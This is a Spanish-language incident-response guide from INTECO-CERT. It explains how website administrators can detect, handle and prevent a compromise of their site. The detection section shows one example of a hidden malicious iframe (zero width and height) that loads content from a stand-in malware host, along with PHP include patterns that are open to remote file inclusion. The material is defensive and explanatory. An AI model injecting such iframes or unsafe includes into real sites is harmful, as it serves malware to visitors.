

SEGURIDAD WEBSITE

INTECO-CERT

El **Instituto Nacional de Tecnologías de la Comunicación, S.A. (INTECO)**, es una sociedad estatal adscrita al Ministerio de Industria, Turismo y Comercio a través de la Secretaría de Estado de Telecomunicaciones y para la Sociedad de la Información.

INTECO es un centro de desarrollo de carácter innovador y de interés público de ámbito nacional que se orienta a la aportación de valor, a la industria y a los usuarios, y a la difusión de las nuevas Tecnologías de la Información y la Comunicación (TIC) en España, en clara sintonía con Europa.

Su objetivo fundamental es servir como instrumento para desarrollar la Sociedad de la Información, con actividades propias en el ámbito de la innovación y el desarrollo de proyectos asociados a las TIC, basándose en tres pilares fundamentales: la investigación aplicada, la prestación de servicios y la formación.

La misión de INTECO es aportar valor e innovación a los ciudadanos, a las PYMES, a las Administraciones Públicas y al sector de las tecnologías de la información, a través del desarrollo de proyectos que contribuyan a reforzar la confianza en los servicios de la Sociedad de la Información en nuestro país, promoviendo además una línea de participación internacional.

Para ello, INTECO desarrolla actuaciones en las siguientes líneas:

Seguridad Tecnológica: INTECO está comprometido con la promoción de servicios de la Sociedad de la Información cada vez más seguros, que protejan los datos personales de los interesados, su intimidad, la integridad de su información y eviten ataques que pongan en riesgo los servicios prestados. Y por supuesto que garanticen un cumplimiento estricto de la normativa legal en materia de TIC. Para ello coordina distintas iniciativas públicas en torno a la seguridad de las TIC, que se materializan en la prestación de servicios por parte del Observatorio de la Seguridad de la Información, el Centro Demostrador de Tecnologías de Seguridad, el Centro de Respuesta a Incidentes de Seguridad en Tecnologías de la Información (INTECO-CERT) y la Oficina de Seguridad del Internauta (OSI), de los que se benefician ciudadanos, PYMES, Administraciones Públicas y el sector tecnológico.

Accesibilidad: INTECO promueve servicios de la Sociedad de la Información más accesibles, que supriman las barreras de exclusión, cualquiera que sea la dificultad o carencia técnica, formativa, etc., incluso discapacidad, que tengan sus usuarios. Y que faciliten la integración progresiva de todos los colectivos de usuarios, de modo que todos ellos puedan beneficiarse de las oportunidades que ofrece la Sociedad de la Información. Asimismo desarrolla proyectos en el ámbito de la accesibilidad orientados a garantizar el derecho de ciudadanos y empresas a relacionarse electrónicamente con las AA.PP.

Calidad TIC. INTECO promueve unos servicios de la Sociedad de la Información que cada vez sean de mayor calidad, que garanticen unos adecuados niveles de servicio, lo cual se traduce en una mayor robustez de aplicaciones y sistemas, un compromiso en la disponibilidad y los tiempos de respuesta, un adecuado soporte para los usuarios, una información precisa y clara sobre la evolución de las funcionalidades de los servicios, y en

resumen, servicios cada vez mejores. En esta línea impulsa la competitividad de la industria del Software a través de la promoción de la mejora de la calidad y la certificación de las empresas y profesionales de la ingeniería del software.

Formación: la formación es un factor determinante para la atracción de talento y para la mejora de la competitividad de las empresas. Por ello, INTECO impulsa la formación de universitarios y profesionales en las tecnologías más demandadas por la industria.

El presente documento cumple con las condiciones de accesibilidad del formato PDF (Portable Document Format).

Se trata de un documento estructurado y etiquetado, provisto de alternativas a todo elemento no textual, marcado de idioma y orden de lectura adecuado.

Para ampliar información sobre la construcción de documentos PDF accesibles puede consultar la guía disponible en la sección [Accesibilidad > Formación > Manuales y Guías](#) de la página <http://www.inteco.es>.

ÍNDICE

1.	OBJETO Y ALCANCE	6
2.	DESCRIPCIÓN	7
3.	DETECCIÓN DEL ATAQUE	8
4.	ACTUACIÓN ANTE EL ATAQUE	11
5.	PREVENIR ATAQUES	13

1. OBJETO Y ALCANCE

Esta guía pretende servir de referencia a los responsables de seguridad de un sitio Web, en las siguientes situaciones:

- Detectar ataques.
- Minimizar posibles daños una vez sufrido el ataque.
- Tomar medidas preventivas de seguridad para evitar que un sistema se vea comprometido.

2. DESCRIPCIÓN

Los ficheros de un sitio Web se encuentran alojados principalmente en:

- Servidores Web dedicados y administrados por el propietario del sitio Web.
- Sistemas contratados o alquilados para tal efecto, a través de empresas de Hosting.

En el primer caso, es el desarrollador o administrador del sitio quien gestiona su propio servidor, adoptando las medidas de seguridad necesarias para evitar el acceso por parte de atacantes.

En el segundo caso, la empresa de Hosting ofrece normalmente una serie de servicios para potenciar y reforzar la seguridad de sus sistemas. Aún así, los usuarios de este tipo de servicio de alojamiento disponen de un *panel de control o administración*, a través del cual, pueden administrar el contenido de su sitio Web. Los paneles de control más comunes son: **cPanel, Plesk**.

Cuando un tercero, a través de diversas técnicas, obtiene permisos de acceso de escritura en el sistema, tiene la posibilidad de cambiar alguno o varios de los archivos del sitio, pudiendo posteriormente realizar acciones como:

- Obtener información confidencial.
- Comprometer los equipos de los usuarios que visitan el sitio Web atacado, creando una [BotNet o red de ordenadores infectados](#).
- Obtener direcciones de correo para envío de [SPAM](#).
- Abusar del ancho de banda contratado por los usuarios.
- Alojarse [phishing](#) suplantando a otras entidades.
- Uso de los procesadores de los sistemas comprometidos.
- Uso del espacio Web para alojar diversos contenidos con fines fraudulentos o maliciosos.

3. DETECCIÓN DEL ATAQUE

Existen una serie de pasos a seguir para detectar si una Web ha sufrido un ataque por parte de terceros:

- Comprobar si la apariencia de la Web se ha visto modificada o muestra características, contenidos o acciones distintas a las esperadas.
- Comprobar las direcciones IP de las últimas conexiones al servidor [FTP](#) que aloja los activos:
 - Han de coincidir con algunas de las direcciones conocidas por los propietarios del sitio. Para identificar las IPs externas se pueden seguir los siguientes enlaces: <http://www.whatismyip.com> o <http://www.cualesmiip.com>
- Revisar el archivo log de conexiones al sitio Web y sus peticiones:
 - Este log guarda el acceso al sitio de todas las conexiones que se reciben mediante [HTTP](#) (conexión normal) y FTP (transferencia de ficheros publicados).
- Comprobar el listado de ficheros del sitio en busca de cambios no deseados:
 - Existen diversos procedimientos para detectar si se ha producido algún cambio en los archivos, como puede ser comparar listas de ficheros (obtenidas, por ejemplo, a través del comando “clon”), en momentos distintos para compararlas:
 - Comprobar el directorio raíz y todos sus subdirectorios: examinar los archivos Web a través del gestor que ofrece el panel de control o del cliente FTP, en busca de ficheros que hayan sido modificados, que sean desconocidos o susceptibles de tener cambios.
 - Comprobar si se han cambiado los permisos preestablecidos sobre los archivos de la Web.
- Revisar el código fuente de la Web en busca de la posible detección de los ataques más comunes. Un buen método puede ser comparar los archivos del servidor con los disponibles de copias de seguridad, evitando así:
 - Variaciones en código (HTML, PHP) y otros, textos, inyección de iframes o enlaces JavaScript:
 - *Scripts maliciosos*: son usados frecuentemente para redirigir a los visitantes a otra Web y/o cargar malware desde otra fuente. Son inyectados a menudo en el contenido de las Webs, o a veces en archivos en el servidor, como imágenes y PDFs.

A veces, en lugar de inyectar el script completo en la página, el atacante sólo inyecta un puntero a un archivo “.js” almacenado en el servidor. También se suele utilizar la ofuscación de código para dificultar la detección por parte de los antivirus

- *Iframes ocultos*: un “iframe” es una sección de la página Web que carga contenido de otra página o sitio. Los atacantes a menudo inyectan iframes maliciosos, configurándolos para que no se muestren en la página Web cuando alguien la visita, de modo que el contenido malicioso se carga aunque se encuentre oculto para el visitante.

El formato de estos iframes suele ser:

```
<iframe src=http://malserv.com/malweb.php width=0 height=0  
frameborder=0>
```

Figura 1. Formato Iframe

- Modificación de las bases de datos, frecuentemente inyectando el mismo tipo de contenido del apartado anterior.
- Nuevos archivos, añadiendo programas ejecutables para que los atacantes manejen la Web de forma remota, pudiendo realizar el envío de SPAM, la conexión a servidor IRC para las comunicaciones con las Bots, ataques masivos a sitios Web, etc.
- Modificaciones del funcionamiento del sistema, quedando todo bajo el control del operador atacante remoto:
- Ejemplos de algunos de los ataques mencionados:
 - [RFI \(Remote File Inclusion\)](#): se debe revisar el valor de “\$variable” con el fin de detectar contenido distinto al esperado por el programador, así como tener ciertas directivas en el archivo “php.ini” correctamente configuradas (*magic_quotes, global_variables, etc.*).

```
include($variable);  
require($variable);  
include_once($variable);  
require_once($variable);
```

Figura 2. Ejemplo RFI

- [Inyección SQL](#): a través de código SQL se puede alterar el funcionamiento normal de una base de datos y hacer que se ejecute maliciosamente el código “invasor” en ella.

- **Iframe:**

```
<html>
  <head>
    <title>IFrames</title>
  </head>
  <body>
    <iframe src="http://es.wikipedia.org/"
      width="400" height="500" scrolling="auto" frameborder="1"
      transparency>
      <p>Texto alternativo para navegadores que no aceptan
      iframes.</p>
    </iframe>
  </body>
</html>
```

Figura 3. Ejemplo Iframe

4. ACTUACIÓN ANTE EL ATAQUE

Una vez detectado que un servidor ha sido atacado, es necesario actuar lo más pronto posible para evitar nuevas víctimas entre los usuarios de la Web y también para mantener la reputación y credibilidad del propio sitio.

Las acciones a emprender han de ir dirigidas a corregir la vía de acceso al servidor que ha usado el atacante, ya que si el agujero de seguridad permaneciera, seguiría siendo vulnerable y podría ser atacado nuevamente.

Los pasos a seguir antes un sitio Web que ha sufrido un ataque son los siguientes:

- **Mantener el sitio fuera de Internet:**

Habilitar como no accesible el sitio Web hasta corregir el problema. Existe la posibilidad de realizarlo a través de comandos u opciones, pero también, incluso, desenganchar físicamente la máquina de su conexión a Internet.

- **Conectar con la empresa de Web Hosting:**

Normalmente estas empresas ofrecen un correo o formulario para contactar con ellos. En este caso, hay que notificar los datos más significativos del incidente sufrido:

- Dirección IP de la Web
- Hora y día del ataque
- Ofrecer una dirección de correo electrónico diferente a la empleada en el registro del sitio Web, para evitar problemas en caso de encontrarse también comprometida.

- **Encontrar y reparar los cambios maliciosos:**

En muchos casos, puede ahorrar tiempo reemplazar el código dañado por copias del mismo que se sepan limpias, en caso de tener la necesidad de contar con el sitio en línea en el menor tiempo posible.

Sin embargo, haciendo esto pueden destruirse evidencias que pueden ser necesarias para determinar cómo ocurrió el ataque y cómo evitar que vuelva a ocurrir. Por ello, también es recomendable realizar una copia de seguridad del sitio para un análisis posterior y conocimiento de las causas.

- **Ejecutar antivirus y anti espías en los equipos de los administradores:**

Una de las mayores causas de robo de credenciales de acceso al servidor FTP es la infección de los equipos que los alojan.

(Acceso a las descarga de herramientas antivirus y anti espías: sección [Útiles Gratuitos de INTECO-CERT.](#))

- **Cambiar las contraseñas:**

Es necesario cambiar las contraseñas de gestión para evitar de nuevo el acceso al FTP, servidor, conexiones a las bases de datos, cuentas de correo electrónico, etc., para evitar así nuevos ataques.

(Acceso a información sobre contraseñas seguras: [cómo crear una contraseña segura.](#))

- **Comprobar los permisos de los archivos:**

Revisar los permisos asignados a los usuarios y archivos, y en caso necesario, restablecerlos correctamente para evitar que puedan ser usados como vía de acceso.

- **Actualizar a las últimas versiones:**

Elaborar una lista de todo el software que se utiliza en el equipo y asegurarse que se encuentre actualizado a la última versión. Las páginas oficiales de los distintos fabricantes suelen disponer de enlaces para tal fin.

- **Identificar la IP o IPs que realizaron el ataque:**

La labor de identificar las IPs atacantes es relativamente sencilla una vez detectado el vector de ataque. Dicho vector se puede obtener analizando los logs de acceso al servidor Web o FTP, por ejemplo. Aunque esto no garantiza que en esa IP haya un usuario malintencionado, puesto que las intrusiones se suelen realizar desde ordenadores comprometidos ([BotNets](#))

5. PREVENIR ATAQUES

En cuanto a la prevención se puede tener en cuenta lo siguiente:

- **Las recomendaciones generales referidas a la seguridad informática:**

En el siguiente enlace pueden encontrarse una serie de buenos consejos: [Consejos de Seguridad](#).

- **Mantener en buen estado de seguridad el equipo utilizado para la administración del sitio Web:**

Disponer de [software actualizado](#), así como [herramientas de seguridad](#) instaladas y actualizadas (antivirus, antiespías, etc.)

- **Auditar constantemente el sitio Web habilitando la opción de “logs permanentes”:**

De esta forma, el log de acceso al sitio guarda las conexiones recibidas vía HTTP o FTP.

- **Buena política de contraseñas seguras:**

Elegir [contraseñas fuertes y seguras](#) para dificultar la toma de control de los sitios, correos electrónicos, FTPs, etc.

- **Disponer de copias de seguridad de la Web:**

En muchos casos, puede ahorrar tiempo reemplazar el código dañado por copias del mismo que se sepan limpias. Sin embargo, haciendo esto se destruyen las evidencias de cómo ocurrió el ataque y cómo evitar que vuelva a ocurrir, salvo si realizamos una copia de seguridad de la Web o sitio comprometido tras el ataque.

- **Compartir información con servidores de terceros:**

Esta es una práctica que suele darse en portales transaccionales que tienen externalizados ciertos servicios como el registro en base de datos u otras operaciones.

En estos casos, se debe controlar cómo se transfieren los datos entre los servidores (encriptados, etc.) para que no sean interceptados. Además, todas las validaciones deben hacerse en el servidor para que no sean modificables desde la parte cliente (navegador).

- **Comprobar que los permisos de ficheros y directorios son seguros:**

- Chequear que los permisos de los archivos del sitio Web son los correctos.
- No dar permisos totales a carpetas que no los necesiten para no facilitar la creación de ficheros maliciosos.

- Gestionar correctamente los permisos asignados a cada usuario.

- **Buena programación de la Web, usando código seguro:**

Consiste en utilizar buenas técnicas de programación Web para evitar [vulnerabilidades](#) susceptibles de ser explotadas. Requiere estar familiarizado con el código fuente y las peculiaridades de las plataformas utilizadas.

Los [exploits](#) utilizados más comúnmente en los ataques son:

- LFI, Local File Inclusion
 - RFI, Remote File Inclusion
 - Inyecciones SQL
- **Mantener el software empleados (servidor Web, bases de datos, etc.) en las últimas versiones:**

Elaborar una lista de todos los programas de terceros que se usan y asegurarse de que se encuentren actualizados a la última versión o versión sin vulnerabilidades conocidas.

Los fabricantes suelen disponer de enlaces en sus páginas oficiales que permiten la actualización de su software.

- **Bloquear la actividad sospechosa a través de los archivos de configuración distribuida:**

Añadir determinadas líneas en los archivos de configuración, según se pretenda restringir el acceso a directorios, ISP, IPs, etc., manejar errores del servidor, controlar la caché, etc. Una buena configuración puede evitar intentos de ataque RFI.

Un ejemplo puede ser el archivo “.htaccess” (*public_html/.htaccess*):

```
AuthName "Directorio Protegido"  
AuthUserFile /ruta/.htpasswd  
AuthType basic  
Require valid-user "Directorio Protegido"
```

Figura 4. Ejemplo .htaccess